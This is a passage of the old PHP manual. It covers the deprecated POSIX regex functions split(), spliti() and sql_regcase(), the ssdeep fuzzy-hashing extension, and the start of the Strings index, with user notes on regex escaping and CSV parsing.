Well, this can be improved a little. According to the previous, these email addresses would be correct:
  user@domain.e
  user@domain.123
  user@domain-ltd

I suggest this regexp:

if( !eregi( "^" .
            "[a-z0-9]+([_\\.-][a-z0-9]+)*" .    //user
            "@" .
            "([a-z0-9]+([\.-][a-z0-9]+)*)+" .   //domain
            "\\.[a-z]{2,}" .                    //sld, tld
            "$", $email, $regs)
   )
...
mmc at nospam dot dk 27-Jan-2002 03:56
I'm not sure about "\." being the same as "." above.

Anyway, the mentioned regex would not recognize .museum-names, and generally isn't future safe.
Also, it doesn't verify that usernames and hostnames cannot start with "-._".

I would recommend a more general (=future safe) expression and then instead check the hostname. An example:

if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*"
    ."@([a-z0-9]+([\.-][a-z0-9]+))*$",
    $mail, $regs) )
{
    echo "Error: '$mail' isn't a valid mail address!\n";
}
elseif( gethostbyname($regs[2]) == $regs[2] )
{
    echo "Error: Can't find the host '$regs[2]'!<br>\n";
}

Note: I had to split the regex for it to fit this note.
Also note: The reason I'm using gethostbyname() and not getmxrr() or such is that getmxrr() doesn't work on Win2000/XP.


Split string into array by regular expression

  • « eregi
  • spliti »
  • PHP Manual
  • POSIX Regex Functions
  • Split string into array by regular expression

split

(PHP 4, PHP 5)

split — Split string into array by regular expression

Description

array split ( string $pattern , string $string [, int $limit = -1 ] )

Splits a string into array by regular expression.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case sensitive regular expression.

If you want to split on any of the characters which are considered special by regular expressions, you'll need to escape them first. If you think split() (or any other regex function, for that matter) is doing something weird, please read the file regex.7, included in the regex/ subdirectory of the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

string

The input string.

limit

If limit is set, the returned array will contain a maximum of limit elements with the last element containing the whole rest of string.

Return Values

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the case-sensitive regular expression pattern.

If there are n occurrences of pattern, the returned array will contain n+1 items. For example, if there is no occurrence of pattern, an array with only one element will be returned. Of course, this is also true if string is empty. If an error occurs, split() returns FALSE.

Examples

Example #1 split() example

To split off the first four fields from a line from /etc/passwd:

<?php
list($user, $pass, $uid, $gid, $extra) =
    split(":", $passwd_line, 5);
?>

Example #2 split() example

To parse a date which may be delimited with slashes, dots, or hyphens:

<?php
// Delimiters may be slash, dot, or hyphen
$date = "04/30/1973";
list($month, $day, $year) = split('[/.-]', $date);
echo "Month: $month; Day: $day; Year: $year<br />\n";
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

split() is deprecated as of PHP 5.3.0. preg_split() is the suggested alternative to this function. If you don't require the power of regular expressions, it is faster to use explode(), which doesn't incur the overhead of the regular expression engine.

Tip

For users looking for a way to emulate Perl's @chars = split('', $str) behaviour, please see the examples for preg_split() or str_split().

See Also

  • preg_split() - Split string by a regular expression
  • spliti() - Split string into array by regular expression case insensitive
  • str_split() - Convert a string to an array
  • explode() - Split a string by string
  • implode() - Join array elements with a string
  • chunk_split() - Split a string into smaller chunks
  • wordwrap() - Wraps a string to a given number of characters

User Contributed Notes

Greg Levine 04-Dec-2008 10:45
I kept running into the same issue Chris Tyler experienced with lewis [ at t] hcoms [d dot t] co [d dot t] uk's function before realizing that Chris had come up with a solution. However, that solution was just a little off it seems, unless your CSV only contains one line.

If you simply add another --length; in the place you suggested, then the function will always trim the last two characters on the line. Since the newline character is the last character on the line and the redundant quote (or other enclosure) is the second to last character, this works for the final segment. But when parsing segments that do not include a newline character, you end up trimming the redundant enclosure and the last character before the enclosure.

For example,

"he","she","him","her"\r\n

becomes

[0] => h
[1] => sh
[2] => hi
[3] => her

Since the segment could end with the enclosure (i.e., ") or the enclosure followed by the newline (i.e., "\r\n), you have make sure you are only adding another --length; when the latter is the case. Replacing the code block that you suggested with the following will do the trick.

# Is the last thing a newline?
if( $char == $newline )
{
    # Well then get rid of it
    --$length;
}

# Is the last thing a quote?
if( $trim_quote )
{
    # Well then get rid of it
    --$length;
}

I've tested this only for the purposes of the script I'm working on at this time. So, there could be other bugs I haven't come across, but this seems like the easiest way to eliminate the redundant enclosure.
pascalaschwandenNOSPAM at gmail dot com 13-Jul-2008 09:12
The following code will mimick the explode functionality: explode( " ", $s );  The difference, of course, is that the split method takes a regular expression instead of a string.

$s = "Split this sentence by spaces";
$words = split("[ ]+", $s);
print_r($words);

Output:
Array
(
    [0] => Split
    [1] => this
    [2] => sentence
    [3] => by
    [4] => spaces
)
http://www.codesplunk.com/nr/questions/php12.html
Chris Tyler 10-Apr-2008 12:25
Thank you Dave for your code below.  Here is one change I made to avoid a redundant quote at the end of some lines (at least when I used excel:

Added another --length;  into the if statement below:

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
        // ADD TO FIX extra quote
    --$length;
                }
lewis [ at t] hcoms [d dot t] co [d dot t] uk 26-Mar-2008 12:32
Those of you trying to use split for CSV, it won't always work as expected. Instead, try using a simple stack method:

<?php

    /**
     * Create a 2D array from a CSV string
     *
     * @param mixed $data 2D array
     * @param string $delimiter Field delimiter
     * @param string $enclosure Field enclosure
     * @param string $newline Line seperator
     * @return
     */
    function parse($data, $delimiter = ',', $enclosure = '"', $newline = "\n"){
        $pos = $last_pos = -1;
        $end = strlen($data);
        $row = 0;
        $quote_open = false;
        $trim_quote = false;

        $return = array();

        // Create a continuous loop
        for ($i = -1;; ++$i){
            ++$pos;
            // Get the positions
            $comma_pos = strpos($data, $delimiter, $pos);
            $quote_pos = strpos($data, $enclosure, $pos);
            $newline_pos = strpos($data, $newline, $pos);

            // Which one comes first?
            $pos = min(($comma_pos === false) ? $end : $comma_pos, ($quote_pos === false) ? $end : $quote_pos, ($newline_pos === false) ? $end : $newline_pos);

            // Cache it
            $char = (isset($data[$pos])) ? $data[$pos] : null;
            $done = ($pos == $end);

            // It it a special character?
            if ($done || $char == $delimiter || $char == $newline){

                // Ignore it as we're still in a quote
                if ($quote_open && !$done){
                    continue;
                }

                $length = $pos - ++$last_pos;

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
                }

                // Get all the contents of this column
                $return[$row][] = ($length > 0) ? str_replace($enclosure . $enclosure, $enclosure, substr($data, $last_pos, $length)) : '';

                // And we're done
                if ($done){
                    break;
                }

                // Save the last position
                $last_pos = $pos;

                // Next row?
                if ($char == $newline){
                    ++$row;
                }

                $trim_quote = false;
            }
            // Our quote?
            else if ($char == $enclosure){

                // Toggle it
                if ($quote_open == false){
                    // It's an opening quote
                    $quote_open = true;
                    $trim_quote = false;

                    // Trim this opening quote?
                    if ($last_pos + 1 == $pos){
                        ++$last_pos;
                    }

                }
                else {
                    // It's a closing quote
                    $quote_open = false;

                    // Trim the last quote?
                    $trim_quote = true;
                }

            }

        }

        return $return;
    }

?>

This *should* work for any valid CSV string, regardless of what it contains inside its quotes (using RFC 4180). It should also be faster than most of the others I've seen. It's very simple in concept, and thoroughly commented.
Dave Walter 01-Mar-2008 12:39
In response to  the getCSVValues() function posted by justin at cam dot org, my testing indicates that it has a problem with a CSV string like this:

1,2,"3,""4,5"",6",7

This parses as:

array(6) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(4) "3,"4"
  [3]=>
  string(1) "5"
  [4]=>
  string(0) ""
  [5]=>
  string(1) "7"
}

instead of:

array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(9) "3,"4,5",6"
  [3]=>
  string(1) "7"
}

To fix this, I changed the second substr_count to look for an odd number of quotes, as opposed to any quotes at all:

<?php
function getCSVValues($string, $separator=",")
{
    $elements = explode($separator, $string);
    for ($i = 0; $i < count($elements); $i++) {
        $nquotes = substr_count($elements[$i], '"');
        if ($nquotes %2 == 1) {
            for ($j = $i+1; $j < count($elements); $j++) {
                if (substr_count($elements[$j], '"') %2 == 1) { // Look for an odd-number of quotes
                    // Put the quoted string's pieces back together again
                    array_splice($elements, $i, $j-$i+1,
                        implode($separator, array_slice($elements, $i, $j-$i+1)));
                    break;
                }
            }
        }
        if ($nquotes > 0) {
            // Remove first and last quotes, then merge pairs of quotes
            $qstr =& $elements[$i];
            $qstr = substr_replace($qstr, '', strpos($qstr, '"'), 1);
            $qstr = substr_replace($qstr, '', strrpos($qstr, '"'), 1);
            $qstr = str_replace('""', '"', $qstr);
        }
    }
    return $elements;
}
?>
Mike 19-May-2007 07:40
// Split a string into words on boundaries of one or more spaces, tabs or new-lines
$s = "Please cut   \t me \n in pieces";
$words = split("[\n\r\t ]+", $s);
print_r($words);

// Output:
Array
(
    [0] => Please
    [1] => cut
    [2] => me
    [3] => in
    [4] => pieces
)
Jort 14-Mar-2007 09:53
If you are looking for EITHER open square brackets OR close square brackets, then '[[]]' won't work (reasonably expected), but neither will '[\[\]]', nor with any number of escapes. HOWEVER, if your pattern is '[][]' it will work.
RE: gcerretini at technica dot net /UTF8 08-Feb-2006 01:26
Original problem:
=================

I've try using split function.

<?php
$ferro="2&#65533;12";
$valore=split("[&#65533;]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
?>

This return:
============

2&#65533;12
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-

I use charset UTF-8. When I use char &#65533; the split function ad an empty string between "2" and "12"... Why?

Explanation:
============

UTF-8 charset codes some characters (like the "&#65533;" character) into two bytes. In fact the regular expresion "[&#65533;]" contains 4 bytes (4 non-unicode characters). To demonstrate the real situation I wrote following example:

$ferro="2de12";
$valore=split("[de]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";

This returns:
=============

2d12
p1-2
p2-
p3-12
franz at fholzinger dot com 04-Nov-2005 01:34
The example from ramkumar rajendran did not work.
$line = split("/\n", $input_several_lines_long);
I do not know why this does not work for me.

The following has worked for me to get a maximum of 2 array parts separated by the first new line (independant if saved under UNIX or WINDOWS):
$line = preg_split('/[\n\r]+/',$input_several_lines_long,2);
Also empty lines are not considered here.
robin at teddyb dot org 30-Jun-2005 06:01
Actually, this version is better than the last I submitted.  The goal here is to be able to engage in *multiple* delimeter removal passes; for all but the last pass, set the third value to "1", and everything should go well.

    function quotesplit( $splitter=',', $s, $restore_quotes=0 )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                if( $restore_quotes )
                {
                    //Add the whole string, untouched to the previous value in the array
                    $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
                } else {
                    //Add the whole string, untouched to the array
                    $result[] = $val;
                }
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
robin at teddyb dot org 30-Jun-2005 05:50
wchris's quotesplit assumes that anything that is quoted must also be a complete delimiter-seperated entry by itself.  This version does not.  It also uses split's argument order.

    function quotesplit( $splitter=',', $s )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                //Add the whole string, untouched to the previous value in the array
                $result[count($result)-1] = $result[count($result)-1].$val;
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
wchris 18-Feb-2005 12:53
moritz's quotesplit didn't work for me. It seemed to split on a comma even though it was between a pair of quotes. However, this did work:

function quotesplit($s, $splitter=',')
{
//First step is to split it up into the bits that are surrounded by quotes and the bits that aren't. Adding the delimiter to the ends simplifies the logic further down

    $getstrings = split('\"', $splitter.$s.$splitter);

//$instring toggles so we know if we are in a quoted string or not
    $delimlen = strlen($splitter);
    $instring = 0;

    while (list($arg, $val) = each($getstrings))
    {
        if ($instring==1)
        {
//Add the whole string, untouched to the result array.
            $result[] = $val;
            $instring = 0;
        }
        else
        {
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones we added above), so they need to be stripped off
            $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

            while(list($iarg, $ival) = each($temparray))
            {
                $result[] = trim($ival);
            }
            $instring = 1;
        }
    }
    return $result;
}
ramkumar rajendran 17-Jan-2005 07:09
A correction to a earlier note
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("/\n", $input_several_lines_long);

Took me a little while to figure to do
claes at dot2me.com 04-Nov-2004 01:10
Though this is obvious, the manual is a bit incorrect when claiming that the return will always be 1+number of time the split pattern occures.  If the split pattern is the first part of the string, the return will still be 1.  E.g.

$a = split("zz," "zzxsj.com");
count($a);

=> 1.

The return of this can not in anyway be seperated from the return where the split pattern is not found.
alphibia at alphibia dot com 31-Mar-2004 03:19
I'd like to correct myself, I found that after testing my last solution it will create 5 lines no matter what... So I added this to make sure that it only displays 5 if there are five newlines. :-)

<?php
    $MaxNewLines = 5;

    $BRCount = substr_count($Message, '<br />');
    if ($BRCount<$MaxNewLines)
    $MaxNewLines=$BRCount;
    else if($BRCount == 0)
    $MaxNewLines=1;

    $Message = str_replace(chr(13), "<br />", $Message);
    $MessageArray = split("<br />", $Message, $MaxNewLines);
    $Message = ""; $u=0;
    do    {
    $Message.=$MessageArray[$u].'<br />';
    $u++;
    } while($u<($MaxNewLines-1));
    $Message.=str_replace("<br />"," ",$MessageArray[$u]);
    ?>

-Tim
http://www.alphibia.com
nomail at please dot now 21-Nov-2003 06:33
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("\\n", $input_several_lines_long);

Took me a little while to figure out.
krahn at niehs dot nih dot gov 24-Oct-2003 09:14
> strange things happen with split
> this didn't work
> $vontag $vonmonat were empty strings
...
> list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad

Split is acting exactly as it should; it splits on regular expressions.
A period is a regular expression pattern for a single character.
So, an actual period must be escaped with a backslash:  '\.'
A period within brackets is not an any-character pattern, because it does
not make sense in that context.

Beware that regular expressions can be confusing becuase there
are a few different varieties of patterns.
dalu at uni dot de 08-Oct-2003 09:26
php4.3.0

strange things happen with split

this didn't work
$vontag $vonmonat were empty strings

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('.' , $todate); // << bad
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

however this one worked perfectly

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('[.]' , $fromdate); // << good
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('[.]' , $todate); // << good
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

btw this fn checks if $now if between $fromdate and $todate
use it if you like
jeffrey at jhu dot edu 10-Jan-2003 10:51
In answer to gwyne at gmx dot net, dec 1, 2002:

For split(), when using a backslash as the delimiter, you have to *double escape* the backslash.

example:
==================================
<pre>
<?
$line = 'stuff\\\thing\doodad\\';
$linearray = split('\\\\', $line); //<--NOTE USE OF FOUR(4)backslashes
print join(":", $linearray);
?>
</pre>

==================================
output is:

<pre>
stuff::thing:doodad:
</pre>
paha at paha dot hu 22-Jul-2002 03:51
It's evident but not mentioned in the documentation that using asterisks is more restricted than in a normal regular expression.

for exaple you cannot say:

split(";*",$string);

because what if there's no ";" separator?(which is covered by this regular expression)

so you have to use at least

split(";+",$quotatxt);

in this situation.
fotw at gmx dot net 17-Jun-2002 09:50
Ups! It seems that neither explode nor split REALY takes a STRING but only a single character as a string for splitting the string.
 I found this problem in one of my codes when trying to split a string using ";\n" as breaking string. The result, only ";" was thaken... the rest of the string was ignored.
 Same when I tried to substitute "\n" by any other thing. :(
not at anythingspecial dot com 17-Jun-2002 03:48
If you need to do a split on a period make sure you escape the period out..

$ext_arr = split("\.","something.jpg");
... because
$ext_arr = split(".","something.jpg"); won't work properly.
kang at elpmis dot com 12-Jun-2002 08:30
This is a good way to display a comma delimited file with two columns.  The first column is the URL's description, the second is the actual URL.

<ul>
<?php
  $fname="relatedlinks.csv";
  $fp=fopen($fname,"r") or die("Error found.");
  $line = fgets( $fp, 1024 );
  while(!feof($fp))
  {
    list($desc,$url,$dummy) = split( ",", $line, 3 );
    print "<li>";
    print "<a href='$url'>$desc</a>";
    print "</li>\n";
    $line = fgets( $fp, 1024 );
  }
  fclose($fp);
?>
</ul>
jchart at sdccu dot net 31-May-2002 09:56
[Ed. note: Close. The pipe *is* an operator in PHP, but
the reason this fails is because it's also an operator
in the regex syntax. The distinction here is important
since a PHP operator inside a string is just a character.]

The reason your code:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('|', $line);

didn't work is because the "|" symbol is an operator in PHP. If you want to use the pipe symbol as a delimiter you must excape it with a back slash, "\|". You code should look like this:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('\|', $line);
mcgarry at tig dot com dot au 17-May-2002 12:27
split() doesn't like NUL characters within the string, it treats the first one it meets as the end of the string, so if you have data you want to split that can contain a NUL character you'll need to convert it into something else first, eg:

$line=str_replace(chr(0),'',$line);


Split string into array by regular expression case insensitive

  • « split
  • sql_regcase »
  • PHP Manual
  • POSIX Regex Functions
  • Split string into array by regular expression case insensitive

spliti

(PHP 4 >= 4.0.1, PHP 5)

spliti — Split string into array by regular expression case insensitive

Description

array spliti ( string $pattern , string $string [, int $limit = -1 ] )

Splits a string into array by regular expression.

This function is identical to split() except that this ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case insensitive regular expression.

If you want to split on any of the characters which are considered special by regular expressions, you'll need to escape them first. If you think spliti() (or any other regex function, for that matter) is doing something weird, please read the file regex.7, included in the regex/ subdirectory of the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

string

The input string.

limit

If limit is set, the returned array will contain a maximum of limit elements with the last element containing the whole rest of string.

Return Values

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the case insensitive regular expression pattern.

If there are n occurrences of pattern, the returned array will contain n+1 items. For example, if there is no occurrence of pattern, an array with only one element will be returned. Of course, this is also true if string is empty. If an error occurs, spliti() returns FALSE.

Examples

This example splits a string using 'a' as the separator :

Example #1 spliti() example

<?php
$string = "aBBBaCCCADDDaEEEaGGGA";
$chunks = spliti ("a", $string, 5);
print_r($chunks);
?>

The above example will output:

Array
(
  [0] =>
  [1] => BBB
  [2] => CCC
  [3] => DDD
  [4] => EEEaGGGA
)

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

spliti() is deprecated as of PHP 5.3.0. preg_split() with the i (PCRE_CASELESS) modifier is the suggested alternative.

See Also

  • preg_split() - Split string by a regular expression
  • split() - Split string into array by regular expression
  • explode() - Split a string by string
  • implode() - Join array elements with a string

User Contributed Notes

jeffmixpute 25-Jan-2011 11:41
This example shows the use of spliti.
Here it splits the path of the server as it can be used further.

<?php

require_once 'Beispiel.php';
$seq = new Sequence();

$path = $_SERVER["PATH_INFO"];

echo "PATH: ".$path."<br/>";
echo "Request mode: ".$_SERVER["REQUEST_METHOD"]."<br/>";

$daten = spliti ("/", $path);

echo "get-daten[1] ".$daten[1]."<br/>";

if($_SERVER["REQUEST_METHOD"]== "POST"){
  echo "POST".$daten[1];
  $seq->setzeSequence($daten[1], $_POST["xml"]);
}
elseif($_SERVER["REQUEST_METHOD"] == "DELETE"){
  echo "DELETE".$daten[1];
  $seq->loescheSequence($daten[1]);
}
elseif($_SERVER["REQUEST_METHOD"] == "GET"){

$antwort = $seq->holeSequence($daten[1]);
  echo "antwort[0]: ".$antwort[0]."<br/>";
  foreach($antwort as $mes){
   echo "mes ".$mes."<br/>";
   }
}

?>
17-Apr-2004 08:22
When using special characters such as the tab placeholder "\t" in the split function, be careful not to escape the slash by adding a slah in front of it. To signify a tab, new line or carriage return use only one slash in front of the character. For example:

$cartes= "one\ttwo\tthree";

$tab_cartes = split("\t",$cartes );

$items = count($tab_cartes);
for ($x = 0; $x < $items; $x++)
   { echo $tab_cartes[$x] . "\n"; }
vbelon at hotmail dot com 27-Jan-2004 03:51
To split $cartes which contains data and tabulations:
Doesnt work :
$tab_cartes = split("\\t",$cartes );

But \t = char(9), so, works well:
$tab_cartes = split(Chr(9),$cartes);

Idem for :
\n = char(10)
\r = char(13)

Found in http://www.asp-magazine.com/fr/asp/blitz/blitz4.asp


Make regular expression for case insensitive match

  • « spliti
  • ssdeep »
  • PHP Manual
  • POSIX Regex Functions
  • Make regular expression for case insensitive match

sql_regcase

(PHP 4, PHP 5)

sql_regcase — Make regular expression for case insensitive match

Description

string sql_regcase ( string $string )

Creates a regular expression for a case insensitive match.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

string

The input string.

Return Values

Returns a valid regular expression which will match string, ignoring case. This expression is string with each alphabetic character converted to a bracket expression; this bracket expression contains that character's uppercase and lowercase form. Other characters remain unchanged.

Examples

Example #1 sql_regcase() example

<?php
echo sql_regcase("Foo - bar.");
?>

The above example will output:

[Ff][Oo][Oo] - [Bb][Aa][Rr].

This can be used to achieve case insensitive pattern matching in products which support only case sensitive regular expressions.

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

User Contributed Notes

phpcomment at revmaps dot no-ip dot biz 14-Feb-2014 10:53
This function naivley replaces the letters in your expression.
if your expression uses [] already using this will probably break it
edge at gts dot smtn dot stavropol dot ru 25-Jun-2003 03:56
if you set right locale:

setlocale(LC_CTYPE,"ru_RU.KOI8-R");

print sql_regcase("Цffnung");

will output:
"[Цц][Ff][Ff][Nn][Uu][Nn][Gg]"


ssdeep Fuzzy Hashing

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ssdeep Functions
    • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
    • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
    • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


Introduction

ssdeep is a utility for creating and comparing fuzzy hashes or » context-triggered piecewise hashing.

Fuzzy hashing can match signatures which have "...sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length". (» ssdeep project page)

This extension provides functions for creating and comparing fuzzy hashes.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires the » ssdeep library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ssdeep.

User Contributed Notes

There are no user contributed notes for this page.


ssdeep Functions

Table of Contents

  • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
  • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
  • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


Calculates the match score between two fuzzy hash signatures

  • « ssdeep Functions
  • ssdeep_fuzzy_hash_filename »
  • PHP Manual
  • ssdeep Functions
  • Calculates the match score between two fuzzy hash signatures

ssdeep_fuzzy_compare

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures

Description

int ssdeep_fuzzy_compare ( string $signature1 , string $signature2 )

Calculates the match score between signature1 and signature2 using » context-triggered piecewise hashing, and returns the match score.

Parameters

signature1

The first fuzzy hash signature string.

signature2

The second fuzzy hash signature string.

Return Values

Returns an integer from 0 to 100 on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a file

  • « ssdeep_fuzzy_compare
  • ssdeep_fuzzy_hash »
  • PHP Manual
  • ssdeep Functions
  • Create a fuzzy hash from a file

ssdeep_fuzzy_hash_filename

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file

Description

string ssdeep_fuzzy_hash_filename ( string $file_name )

ssdeep_fuzzy_hash_filename() calculates the hash of the file specified by file_name using » context-triggered piecewise hashing, and returns that hash.

Parameters

file_name

The filename of the file to hash.

Return Values

Returns a string on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a string

  • « ssdeep_fuzzy_hash_filename
  • Strings »
  • PHP Manual
  • ssdeep Functions
  • Create a fuzzy hash from a string

ssdeep_fuzzy_hash

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash — Create a fuzzy hash from a string

Description

string ssdeep_fuzzy_hash ( string $to_hash )

ssdeep_fuzzy_hash() calculates the hash of to_hash using » context-triggered piecewise hashing, and returns that hash.

Parameters

to_hash

The input string.

Return Values

Returns a string on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Strings

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • String Functions
    • addcslashes — Quote string with slashes in a C style
    • addslashes — Quote string with slashes
    • bin2hex — Convert binary data into hexadecimal representation
    • chop — Alias of rtrim
    • chr — Return a specific character
    • chunk_split — Split a string into smaller chunks
    • convert_cyr_string — Convert from one Cyrillic character set to another
    • convert_uudecode — Decode a uuencoded string
    • convert_uuencode — Uuencode a string
    • count_chars — Return information about characters used in a string
    • crc32 — Calculates the crc32 polynomial of a string
    • crypt — One-way string hashing
    • echo — Output one or more strings
    • explode — Split a string by string
    • fprintf — Write a formatted string to a stream
    • get_html_translation_table — Returns the translation table used by htmlspecialchars and htmlentities
    • hebrev — Convert logical Hebrew text to visual text
    • hebrevc — Convert logical Hebrew text to visual text with newline conversion
    • hex2bin — Decodes a hexadecimally encoded binary string
    • html_entity_decode — Convert all HTML entities to their applicable characters
    • htmlentities — Convert all applicable characters to HTML entities
    • htmlspecialchars_decode — Convert special HTML entities back to characters
    • htmlspecialchars — Convert special characters to HTML entities
    • implode — Join array elements with a string
    • join — Alias of implode
    • lcfirst — Make a string's first character lowercase
    • levenshtein — Calculate Levenshtein distance between two strings
    • localeconv — Get numeric formatting information
    • ltrim — Strip whitespace (or other characters) from the beginning of a string
    • md5_file — Calculates the md5 hash of a given file
    • md5 — Calculate the md5 hash of a string
    • metaphone — Calculate the metaphone key of a string
    • money_format — Formats a number as a currency string
    • nl_langinfo — Query language and locale information
    • nl2br — Inserts HTML line breaks before all newlines in a string
    • number_format — Format a number with grouped thousands
    • ord — Return ASCII value of character
    • parse_str — Parses the string into variables
    • print — Output a string
    • printf — Output a formatted string
    • quoted_printable_decode — Convert a quoted-printable string to an 8 bit string
    • quoted_printable_encode — Convert a 8 bit string to a quoted-printable string
    • quotemeta — Quote meta characters
    • rtrim — Strip whitespace (or other characters) from the end of a string
    • setlocale — Set locale information
    • sha1_file — Calculate the sha1 hash of a file
    • sha1 — Calculate the sha1 hash of a string
    • similar_text — Calculate the similarity between two strings
    • soundex — Calculate the soundex key of a string
    • sprintf — Return a formatted string
    • sscanf — Parses input from a string according to a format
    • str_getcsv — Parse a CSV string into an array
    • str_ireplace — Case-insensitive version of str_replace.
    • str_pad — Pad a string to a certain length with another string
    • str_repeat — Repeat a string
    • str_replace — Replace all occurrences of the search string with the replacement string
    • str_rot13 — Perform the rot13 transform on a string
    • str_shuffle — Randomly shuffles a string
    • str_split — Convert a string to an array
    • str_word_count — Return information about words used in a string
    • strcasecmp — Binary safe case-insensitive string comparison
    • strchr — Alias of strstr
    • strcmp — Binary safe string comparison
    • strcoll — Locale based string comparison
    • strcspn — Find length of initial segment not matching mask
